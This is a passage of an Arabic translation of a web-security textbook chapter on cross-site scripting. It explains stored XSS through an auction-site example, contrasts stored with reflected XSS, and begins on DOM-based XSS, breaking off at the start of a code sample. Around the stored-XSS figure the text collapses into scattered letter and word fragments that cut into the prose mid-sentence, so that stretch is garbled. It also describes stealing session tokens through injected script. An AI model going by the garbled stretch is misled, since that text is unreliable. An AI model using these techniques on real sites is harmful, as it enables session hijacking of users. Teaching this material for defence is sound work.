‫ﻏﺎﻟﺒﺎًﻣﺎ ﻳﻄُﻠﻖ ﻋﻠﻰ ﻓﺉﺔ ﻣﺨﺘﻠﻔﺔ ﻣﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﺳﻢﻣﺨﺰﻧﺔﺑﺮﻣﺠﺔ ﻧﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‪ .‬ﻳﺤﺪﺙ ﻫﺬﺍ‬
‫ﺍﻟﻨﻮﻉﻋﻨﺪﻣﺎ ﺗﺨُﺰﻥَّ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺮُﺳﻠَﺔ ﻣﻦ ﻗﺒِﻞَ ﻣﺴﺘﺨﺪﻡ ﻭﺍﺣﺪ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ )ﻋﺎﺩﺓ ًﻓﻲ ﻗﺎﻋﺪﺓ ﺑﻴﺎﻧﺎﺕ‬
‫ﺧﻠﻔﻴﺔ(‪ ،‬ﺛﻢ ﺗﻌُﺮﺽَ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﺩﻭﻥ ﺗﺼﻔﻴﺔ ﺃﻭ ﺗﻨﻘﻴﺢ ﻛﻤﺎ ﻳﻨﺒﻐﻲ‪.‬‬

‫ﺗﻌُﺪﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨُﺰﻧَّﺔ ﺷﺎﺉﻌﺔ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺪﻋﻢ ﺍﻟﺘﻔﺎﻋﻞ ﺑﻴﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‬


‫ﺍﻟﻨﻬﺎﺉﻴﻴﻦ‪،‬ﺃﻭ ﺣﻴﺚ ﻳﺼﻞ ﺍﻟﻤﻮﻇﻔﻮﻥ ﺍﻹﺩﺍﺭﻳﻮﻥ ﺇﻟﻰ ﺳﺠﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻭﺑﻴﺎﻧﺎﺗﻬﻢ ﺩﺍﺧﻞ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻧﻔﺴﻪ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻟﻨﻔﺘﺮﺽ ﺃﻥ ﺗﻄﺒﻴﻖ ﻣﺰﺍﺩ ﻳﺴﻤﺢ ﻟﻠﻤﺸﺘﺮﻳﻦ ﺑﻨﺸﺮ ﺃﺳﺉﻠﺔ ﺣﻮﻝ‬
‫ﺳﻠﻊﻣﺤُﺪﺩﺓ ﻭﻟﻠﺒﺎﺉﻌﻴﻦ ﺑﻨﺸﺮ ﺭﺩﻭﺩ‪ .‬ﺇﺫﺍ ﺗﻤﻜﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻦ ﻧﺸﺮ ﺳﺆﺍﻝ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ‪JavaScript‬‬
‫ﻣﻀُﻤﻦَّ‪،‬ﻭﻟﻢ ﻳﻔُﻠﺘﺮ ﺍﻟﺘﻄﺒﻴﻖ ﻫﺬﺍ ﺃﻭ ﻳﻨُﻘﺤِّﻪ‪ ،‬ﻳﻤُﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﻧﺸﺮ ﺳﺆﺍﻝ ﻣﺼُﻤﻢَّ ﻣﺴﺒﻘﺎً ﻳﺆُﺩﻱ ﺇﻟﻰ‬
‫ﺗﺸﻐﻴﻞﻧﺼﻮﺹ ﺑﺮﻣﺠﻴﺔ ﻋﺸﻮﺍﺉﻴﺔ ﺩﺍﺧﻞ ﻣﺘﺼﻔﺢ ﺃﻱ ﺷﺨﺺ ﻳﻄﻠّﻊ ﻋﻠﻰ ﺍﻟﺴﺆﺍﻝ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ‬
‫ﺍﻟﺒﺎﺉﻊﻭﺍﻟﻤﺸﺘﺮﻳﻦ ﺍﻟﻤﺤُﺘﻤﻠﻴﻦ ﺍﻵﺧﺮﻳﻦ‪ .‬ﻓﻲ ﻫﺬﺍ ﺍﻟﺴﻴﺎﻕ‪ ،‬ﻗﺪ ﻳﺠُﺒﺮ ﺍﻟﻤﻬﺎﺟﻢ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻋﻠﻰ‬
‫ﺍﻟﻤﺰﺍﻳﺪﺓﻋﻠﻰ ﺳﻠﻌﺔ ﺩﻭﻥ ﻗﺼﺪ‪ ،‬ﺃﻭ ﻳﺠُﺒﺮ ﺍﻟﺒﺎﺉﻊ ﻋﻠﻰ ﺇﻏﻼﻕ ﺍﻟﻤﺰﺍﺩ ﻭﻗﺒﻮﻝ ﺃﻗﻞ ﻋﺮﺽ ﻗﺪﻣﻪ ﺍﻟﻤﻬﺎﺟﻢ‪.‬‬

‫ﻋﺎﺩﺓ ًﻣﺎ ﺗﺘﻀﻤﻦ ﺍﻟﻬﺠﻤﺎﺕ ﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨُﺰﻧّﺔ ﻃﻠﺒﻴﻦ ﻋﻠﻰ ﺍﻷﻗﻞ ﻟﻠﺘﻄﺒﻴﻖ‪ .‬ﻓﻲ ﺍﻟﻄﻠﺐ‬
‫ﺍﻷﻭﻝ‪،‬ﻳﻨﺸﺮ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻴﺎﻧﺎﺕ ﻣﻌُﺪﺓّ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺷﻴﻔﺮﺓ ﺿﺎﺭﺓ ﻳﺨُﺰﻧّﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻭﻓﻲ ﺍﻟﻄﻠﺐ ﺍﻟﺜﺎﻧﻲ‪،‬‬
‫ﻳﻄﻠّﻊﺍﻟﻀﺤﻴﺔ ﻋﻠﻰ ﺻﻔﺤﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺍﻟﻤﻬﺎﺟﻢ‪ ،‬ﻭﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ ﺍﻟﻀﺎﺭﺓ ﻋﻨﺪ ﺗﺸﻐﻴﻞ‬
‫ﺍﻟﺒﺮﻧﺎﻣﺞﺍﻟﻨﺼﻲ ﻓﻲ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ‪ .‬ﻟﻬﺬﺍ ﺍﻟﺴﺒﺐ‪ ،‬ﺗﺴُﻤﻰ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﺃﺣﻴﺎﻧﺎً ﺑـﺛﺎﻧﻴﺔ‪-‬ﻃﻠﺐ‬
‫ﻫﺠﻤﺎﺕﺑﺮﻣﺠﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‪) .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻳﻌُﺪ ّ"‪ "XSS‬ﺗﺴﻤﻴﺔ ًﺧﺎﻃﺉﺔ‪ ً،‬ﻷﻥ ﺍﻟﻬﺠﻮﻡ ﻻ ﻳﺘﻀﻤﻦ‬
‫ﺃﻱﻋﻨﺼﺮ ﺑﺮﻣﺠﻲ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻳﺴُﺘﺨﺪﻡ ﺍﻻﺳﻢ ﻋﻠﻰ ﻧﻄﺎﻕ ﻭﺍﺳﻊ‪ ،‬ﻟﺬﺍ ﺳﻨﺤﺘﻔﻆ ﺑﻪ ﻫﻨﺎ‪(.‬‬

‫ﻳﻮﺿﺢﺍﻟﺸﻜﻞ ‪ 4-12‬ﻛﻴﻒ ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ ﻟﺘﻨﻔﻴﺬ ﻧﻔﺲ ﻫﺠﻮﻡ‬
‫ﺍﺧﺘﻄﺎﻑﺍﻟﺠﻠﺴﺔ ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻟـ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺲ‪.‬‬
‫‪439‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻃﻠﺐ‬

‫‪.5‬ﺍﻟﻤﻬﺎﺟﻢ‬
‫ﺟﺎﻓﺎﺳﻜﺮﻳﺒﺖ‬
‫ﻳﻨﻔﺬﻓﻲ‬
‫‪.6‬ﻳﺮﺳﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺭﻣﺰ ﺍﻟﺠﻠﺴﺔ ﺇﻟﻰ ﺍﻟﻤﻬﺎﺟﻢ‬
‫ﻣﺘﺼﻔﺢﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﻣﻬﺎﺟﻢ‬ ‫ﻣﺴﺘﺨﺪﻡ‬

‫ﺍﻟﺸﻜﻞ‪:4-12‬ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﻤﺘﺒﻌﺔ ﻓﻲ ﻫﺠﻮﻡ ‪ XSS‬ﺍﻟﻤﺨﺰﻥ‬


‫‪.3‬ﻳ‬

‫ﻱ‬
‫ﺸ‬

‫ﺘﻮ‬
‫ﺎﻫ‬
‫‪.2‬ﺗ‬

‫ﻳﺤ‬
‫ﺴﺠ‬

‫‪.4‬ﻳ ‪rip‬‬

‫ﺟﺮﺑﻬﺎ!‬
‫ﺪﺍ‬

‫ﺪﻡ‬
‫ﻴﻞ‬

‫ﻻً‬
‫ﺴ‬
‫ﻟﻤ‬

‫ﺘﺨ‬
‫ﺩ‬

‫ﺘﺠﻴ ‪va‬‬

‫ﺳﺆﺍ‬
‫ﺧﻮ‬

‫‪t‬‬
‫ﺴ‬

‫ﺴ‬
‫ﻝﺍ‬

‫ﺐ‬

‫ﻟﻤ‬
‫ﺘﺨ‬
‫ﻟﻤ‬

‫‪Sc‬‬

‫ﺟﻢ‬
‫ﺴ‬

‫ﺔﺍ‬

‫ﺿﺎﺭ‬
‫ﺍﻟﺨ ﺨﺎ‬

‫ﻳﺤﺘﻮﻱﻫﺬﺍ ﺍﻟﻤﺜﺎﻝ ﻋﻠﻰ ﺩﺍﻟﺔ ﺑﺤﺚ ﺗﻌﺮﺽ ﺍﻻﺳﺘﻌﻼﻡ ﺍﻟﺬﻱ ﻳﺪُﺧﻠﻪ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺤﺎﻟﻲ‪ ،‬ﺑﺎﻹﺿﺎﻓﺔ‬
‫ﺘﺨ‬

‫ﺪﻡ‬

‫ﺴ‬
‫ﺪﻡ‬

‫ﺍﻟﻤﻬ ‪ aSc‬ﻬﺎ‬
‫ﺎﺩ‬

‫‪Ja‬‬

‫ﺟﻠ‬
‫ﺳﺆ‬

‫ﻡﺑ‬

‫ﻟﻤ‬
‫‪Ja‬‬
‫ﺍﻟ‬

‫ﻑ‬
‫ﺇﻟﻰﻗﺎﺉﻤﺔ ﺑﺎﻻﺳﺘﻌﻼﻣﺎﺕ ﺍﻟﺤﺪﻳﺜﺔ ﺍﻟﺘﻲ ﺃﺟﺮﺍﻫﺎ ﻣﺴﺘﺨﺪﻣﻮﻥ ﺁﺧﺮﻭﻥ‪ .‬ﻭﻷﻥ ﺍﻻﺳﺘﻌﻼﻣﺎﺕ ﺗﻌُﺮﺽ‬
‫ﺎ‬

‫‪ rip‬ﻞ ﺍ‬
‫ﺳﺘ‬

‫‪v‬‬
‫ﺍﻝ‬

‫ﻄﺎ‬
‫ﺹ‬
‫ﺨﺪ‬

‫‪ .7‬ﻠﻰ‪ t‬ﺳ‬
‫ﺧﺘ‬
‫ﺍﻟ‬
‫ﺍﻡ‬

‫ﺑﺎ‬

‫ﺩﻭﻥﺗﻌﺪﻳﻞ‪ ،‬ﻓﺈﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ ﻟﺨﻄﺮ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ‪ .‬ﺣﺎﻭﻝ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻛﻠﺘﺎ‬
‫ﻤﻬ‬

‫ﻋ ‪ .‬ﻳﺮ‬
‫ﺑﺎ‬
‫ﻟﻤ‬

‫ﻢ‬

‫‪1‬‬
‫ﻬﺎ‬
‫ﺎ‬

‫ﺎﺟ‬
‫ﺟﻢ‬

‫ﺟﻢ‬

‫ﺍﻟﺜﻐﺮﺗﻴﻦ‪.‬‬

‫ﻮﻡ‬
‫ﻳﻘ‬
‫‪http://mdsec.net/search/11/‬‬

‫ﻫﻨﺎﻙﻓﺮﻗﺎﻥ ﻣﻬﻤﺎﻥ ﺑﻴﻦ ﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ ﻓﻲ ﻋﻤﻠﻴﺔ ﺍﻟﻬﺠﻮﻡ‪ .‬ﻋﺎﺩﺓ ًﻣﺎ ﺗﻜﻮﻥ‬
‫ﻫﺠﻤﺎﺕ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ ﺃﻛﺜﺮ ﺧﻄﻮﺭﺓ ﻣﻦ ﺍﻟﻨﺎﺣﻴﺔ ﺍﻷﻣﻨﻴﺔ‪.‬‬
‫ﺃﻭﻻ‪ً،‬ﻓﻲ ﺣﺎﻟﺔ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‪ ،‬ﻻﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ‪ ،‬ﻳﺠﺐ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺣﺚ ّﺍﻟﻀﺤﺎﻳﺎ ﻋﻠﻰ‬
‫ﺯﻳﺎﺭﺓﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﺼُﻤﻢّ ﻟﻪ‪ .‬ﺃﻣﺎ ﻓﻲ ﺣﺎﻟﺔ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨُﺰﻧّﺔ‪ ،‬ﻓﻴﺘﻢ ﺗﺠﻨﺐّ ﻫﺬﺍ ﺍﻟﺸﺮﻁ‪ .‬ﺑﻌﺪ‬
‫ﻧﺸﺮﻫﺠﻤﺘﻪ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻣﺎ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺳﻮﻯ ﺍﻧﺘﻈﺎﺭ ﺍﻟﻀﺤﺎﻳﺎ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻰ ﺍﻟﺼﻔﺤﺔ ﺃﻭ‬
‫ﺍﻟﻮﻇﻴﻔﺔﺍﻟﻤﺨُﺘﺮﻗَﺔ‪ .‬ﻋﺎﺩﺓ ًﻣﺎ ﺗﻜﻮﻥ ﻫﺬﻩ ﺻﻔﺤﺔ ﻋﺎﺩﻳﺔ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻭﻳﺼﻞ ﺇﻟﻴﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ‬
‫ﺍﻟﻌﺎﺩﻳﻮﻥﺗﻠﻘﺎﺉﻴﺎً‪.‬‬

‫ﺛﺎﻧﻴﺎً‪،‬ﻋﺎﺩﺓ ًﻣﺎ ﻳﺘﺤﻘﻖ ﻫﺪﻑ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ‪ XSS‬ﺑﺴﻬﻮﻟﺔ ﺃﻛﺒﺮ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻀﺤﻴﺔ‬
‫ﻳﺴﺘﺨﺪﻡﺍﻟﺘﻄﺒﻴﻖ ﻭﻗﺖ ﺍﻟﻬﺠﻮﻡ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻛﺎﻥ ﻟﺪﻯ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺟﻠﺴﺔ ﺣﺎﻟﻴﺔ‪ ،‬ﻓﻴﻤﻜﻦ‬
‫ﺍﺧﺘﺮﺍﻗﻬﺎﻓﻮﺭﺍً‪ .‬ﻓﻲ ﻫﺠﻮﻡ ‪ XSS‬ﺍﻟﻤﻨُﻌﻜﺲ‪ ،‬ﻗﺪ ﻳﺤﺎﻭﻝ ﺍﻟﻤﻬﺎﺟﻢ ﻫﻨﺪﺳﺔ ﻫﺬﺍ ﺍﻟﻮﺿﻊ ﻋﻦ ﻃﺮﻳﻖ ﺇﻗﻨﺎﻉ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻡﺑﺘﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺛﻢ ﺍﻟﻨﻘﺮ ﻋﻠﻰ ﺭﺍﺑﻂ ﻳﺮُﺳﻠﻪ‪ .‬ﺃﻭ ﻗﺪ ﻳﺤﺎﻭﻝ ﻧﺸﺮ ﺣﻤﻮﻟﺔ ﺩﺍﺉﻤﺔ ﺗﻨﺘﻈﺮ‬
‫ﺣﺘﻰﻳﺴُﺠﻞ ﺩﺧﻮﻟﻪ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪،‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪440‬‬

‫ﻓﻲﻫﺠﻮﻡ ‪ XSS‬ﺍﻟﻤﺨُﺰﻥَّ‪ ،‬ﻋﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﺆﻛﺪ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻀﺤﺎﻳﺎ ﺳﻴﻜﻮﻧﻮﻥ ﻗﺪ ﻭﺻﻠﻮﺍ‬
‫ﺇﻟﻰﺍﻟﺘﻄﺒﻴﻖ ﻭﻗﺖ ﻭﻗﻮﻉ ﺍﻟﻬﺠﻮﻡ‪ .‬ﻭﻷﻥ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻣﺨُﺰﻧَّﺔ ﺩﺍﺧﻞ ﺻﻔﺤﺔ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻭﻳﺼﻞ‬
‫ﺇﻟﻴﻬﺎﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ ﺗﻠﻘﺎﺉﻴﺎً‪ ،‬ﻓﺈﻥ ﺃﻱ ﺿﺤﻴﺔ ﻟﻠﻬﺠﻮﻡ ﺳﺘﻜﻮﻥ‪ ،‬ﺑﺤﻜﻢ ﺍﻟﺘﻌﺮﻳﻒ‪ ،‬ﻣﺴﺘﺨﺪﻣﺔ ﻟﻠﺘﻄﺒﻴﻖ‬
‫ﻟﺤﻈﺔﺗﻨﻔﻴﺬ ﺍﻟﺤﻤﻮﻟﺔ‪ .‬ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﺇﺫﺍ ﻛﺎﻧﺖ ﺍﻟﺼﻔﺤﺔ ﺍﻟﻤﻌﻨﻴﺔ ﺿﻤﻦ ﺍﻟﻤﻨﻄﻘﺔ ﺍﻟﻤﺼُﺪﻗَّﺔ‬
‫ﻟﻠﺘﻄﺒﻴﻖ‪،‬ﻓﻴﺠﺐ ﺃﻥ ﻳﻜﻮﻥ ﺃﻱ ﺿﺤﻴﺔ ﻟﻠﻬﺠﻮﻡ ﻣﺴُﺠﻞِّ ﺍﻟﺪﺧﻮﻝ ﻓﻲ ﺫﻟﻚ ﺍﻟﻮﻗﺖ‪.‬‬

‫ﻫﺬﻩﺍﻻﺧﺘﻼﻓﺎﺕ ﺑﻴﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ ﺗﻌﻨﻲ ﺃﻥ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ ﻏﺎﻟﺒﺎً ﻣﺎ‬
‫ﺗﻜﻮﻥﺣﺮﺟﺔ ﻷﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻓﻲ ﻣﻌﻈﻢ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ﻣﻌُﺪﺓّ ﻣﺴﺒﻘﺎً ﺇﻟﻰ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺛﻢ ﺍﻧﺘﻈﺎﺭ ﻭﺻﻮﻟﻬﺎ ﺇﻟﻰ ﺍﻟﻀﺤﺎﻳﺎ‪ .‬ﺇﺫﺍ ﻛﺎﻥ ﺃﺣﺪ ﻫﺆﻻء ﺍﻟﻀﺤﺎﻳﺎ ﻣﺴﺆﻭﻻً‪ ،‬ﻓﺴﻴﻜﻮﻥ ﺍﻟﻤﻬﺎﺟﻢ‬
‫ﻗﺪﺍﺧﺘﺮﻕ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺄﻛﻤﻠﻪ‪.‬‬

‫ﺛﻐﺮﺍﺕ‪ XSS‬ﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪DOM‬‬


‫ﺗﺘﻀﻤﻦﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ ﻧﻤﻄﺎً ﺳﻠﻮﻛﻴﺎً ﻣﺤﺪﺩﺍً‪ ،‬ﺣﻴﺚ ﻳﺄﺧﺬ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻴﺎﻧﺎﺕ ﻳﻤﻜﻦ‬
‫ﻟﻠﻤﺴﺘﺨﺪﻡﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ ﻭﻳﻌﺮﺿﻬﺎ ﻟﻬﻢ ﺑﻄﺮﻳﻘﺔ ﻏﻴﺮ ﺁﻣﻨﺔ‪ .‬ﻫﻨﺎﻙ ﻓﺉﺔ ﺛﺎﻟﺜﺔ ﻣﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻻ‬
‫ﺗﺸﺘﺮﻙﻓﻲ ﻫﺬﻩ ﺍﻟﺨﺎﺻﻴﺔ‪ .‬ﻫﻨﺎ‪ ،‬ﺗﺘﻢ ﻋﻤﻠﻴﺔ ﺗﻨﻔﻴﺬ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺍﻟﻤﻬﺎﺟﻢ ﻛﻤﺎ ﻳﻠﻲ‪:‬‬

‫ﻳﻄﻠﺐﺍﻟﻤﺴﺘﺨﺪﻡ ﻋﻨﻮﺍﻥ ‪ URL‬ﻣﺼﻤﻤﺎً ﺑﻮﺍﺳﻄﺔ ﺍﻟﻤﻬﺎﺟﻢ ﻭﻳﺤﺘﻮﻱ ﻋﻠﻰ ‪JavaScript‬‬ ‫‪-‬‬

‫ﻣﻀﻤﻦ‪.‬‬
‫ﻻﺗﺤﺘﻮﻱ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﻋﻠﻰ ﻧﺺ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺄﻱ ﺷﻜﻞ ﻣﻦ ﺍﻷﺷﻜﺎﻝ‪.‬‬ ‫‪-‬‬

‫ﻋﻨﺪﻣﺎﻳﻘﻮﻡ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻤﻌﺎﻟﺠﺔ ﻫﺬﻩ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﺳﻴﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻋﻠﻰ‬ ‫‪-‬‬

‫ﺍﻟﺮﻏﻢﻣﻦ ﺫﻟﻚ‪.‬‬

‫ﻛﻴﻒﻳﻤﻜﻦ ﺃﻥ ﺗﺤﺪﺙ ﻫﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﻣﻦ ﺍﻷﺣﺪﺍﺙ؟ ﺍﻹﺟﺎﺑﺔ ﻫﻲ ﺃﻥ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻣﻦ ﺟﺎﻧﺐ‬


‫ﺍﻟﻌﻤﻴﻞﻳﻤﻜﻨﻪ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻧﻤﻮﺫﺝ ﻛﺎﺉﻦ ﺍﻟﻤﺴﺘﻨﺪ )‪ (DOM‬ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﺘﺼﻔﺢ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺤﺪﻳﺪ‬
‫ﻋﻨﻮﺍﻥ‪ URL‬ﺍﻟﻤﺴﺘﺨﺪﻡ ﻟﺘﺤﻤﻴﻞ ﺍﻟﺼﻔﺤﺔ ﺍﻟﺤﺎﻟﻴﺔ‪ .‬ﻗﺪ ﻳﺴﺘﺨﺮﺝ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺬﻱ ﻳﺼﺪﺭﻩ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺑﻴﺎﻧﺎﺕ ﻣﻦ ﻋﻨﻮﺍﻥ ‪ ،URL‬ﻭﻳﺠُﺮﻱ ﺑﻌﺾ ﺍﻟﻤﻌﺎﻟﺠﺔ ﻋﻠﻴﻬﺎ‪ ،‬ﺛﻢ ﻳﺴﺘﺨﺪﻣﻬﺎ ﻟﺘﺤﺪﻳﺚ‬
‫ﻣﺤﺘﻮﻳﺎﺕﺍﻟﺼﻔﺤﺔ ﺩﻳﻨﺎﻣﻴﻜﻴﺎً‪ .‬ﻋﻨﺪﻣﺎ ﻳﻔﻌﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺫﻟﻚ‪ ،‬ﻗﺪ ﻳﻜﻮﻥ ﻋﺮﺿﺔ ﻟﻬﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻘﺎﺉﻤﺔ‬
‫ﻋﻠﻰ‪.DOM‬‬
‫ﺗﺬﻛﺮﺍﻟﻤﺜﺎﻝ ﺍﻷﺻﻠﻲ ﻟﺜﻐﺮﺓ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‪ ،‬ﺣﻴﺚ ﻳﻨﺴﺦ ﺗﻄﺒﻴﻖ ﺍﻟﺨﺎﺩﻡ ﺑﻴﺎﻧﺎﺕ ﻣﻦ ﻣﻌُﺎﻣﻞ ‪URL‬‬
‫ﺇﻟﻰﺭﺳﺎﻟﺔ ﺧﻄﺄ‪ .‬ﻫﻨﺎﻙ ﻃﺮﻳﻘﺔ ﺃﺧﺮﻯ ﻟﺘﻨﻔﻴﺬ ﺍﻟﻮﻇﻴﻔﺔ ﻧﻔﺴﻬﺎ‪ ،‬ﻭﻫﻲ ﺃﻥ ﻳﻌُﻴﺪ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺲ ﺷﻔﺮﺓ‬
‫‪ HTML‬ﺍﻟﺜﺎﺑﺘﺔ ﻓﻲ ﻛﻞ ﻣﺮﺓ‪ ،‬ﻭﺃﻥ ﻳﺴﺘﺨﺪﻡ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﻟﺘﻮﻟﻴﺪ ﻣﺤﺘﻮﻯ‬
‫ﺍﻟﺮﺳﺎﻟﺔﺩﻳﻨﺎﻣﻴﻜﻴﺎً‪.‬‬

‫ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺍﻓﺘﺮﺽ ﺃﻥ ﺻﻔﺤﺔ ﺍﻟﺨﻄﺄ ﺍﻟﺘﻲ ﺗﻢ ﺇﺭﺟﺎﻋﻬﺎ ﺑﻮﺍﺳﻄﺔ ﺍﻟﺘﻄﺒﻴﻖ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ‬
‫ﻳﻠﻲ‪:‬‬

‫>ﺍﻟﻨﺺ<‬
‫؛‪var url = document.location‬‬
